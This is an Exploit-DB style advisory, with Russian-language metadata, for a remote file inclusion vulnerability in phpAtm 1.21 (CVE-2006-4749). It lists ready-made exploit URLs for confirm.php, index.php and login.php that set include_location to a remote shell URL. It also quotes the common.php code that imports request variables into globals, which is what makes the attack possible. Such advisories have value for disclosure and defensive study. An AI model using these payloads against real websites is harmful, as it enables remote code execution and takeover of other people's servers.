Exploit phpAtm 1.21 - 'include_location' Remote File Inclusion

[Exploiter]

EDB-ID

2279

Проверка EDB

1. Пройдено

Автор

KINSIZE

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-4749 cve-2006-4594

Дата публикации

2006-08-30

########################################################################
#  phpAtm <= v1.21 (include_location) Remote File Inclusion Exploit
#   
#   Level : Dangerous        
#   Download  : http://phpatm.free.fr/
#   Version : v1.21  
#   
#                           Found By: KinSize [MHG Security Team]
#
########################################################################
# Code :   include($include_location.'include/conf.php');
#
#  exploit:
# http://www.sitename.com/[script_path]/confirm.php?include_location=http://shellurl.com ?   
# http://www.sitename.com/[script_path]/index.php?include_location=http://shellurl.com ?    
# http://www.sitename.com/[script_path]/login.php?include_location=http://shellurl.com ?
########################################################################
#
#Conatact : nefretaskimdir[at]gmail.com
#
# GreetZ : Damage-N | by_emr3  | by_OkSit  | ESKOBAR  | Ye.iL  | PowerCobra  | sys-worm(Turkish)| Z e b e r u S | ALL Turkish & MusLim
########################################################################

Added information:

At first glance this doesn't look vulnerable but then again:

line 85-94 of common.php
while (list(, $arr) = each($sysarr))
{
        if (is_array($arr))
        {
                while (list($key, $value) = each($arr))
                {
                        $GLOBALS[$key] = $value;
                }
        }
}

/str0ke

# milw0rm.com [2006-08-30]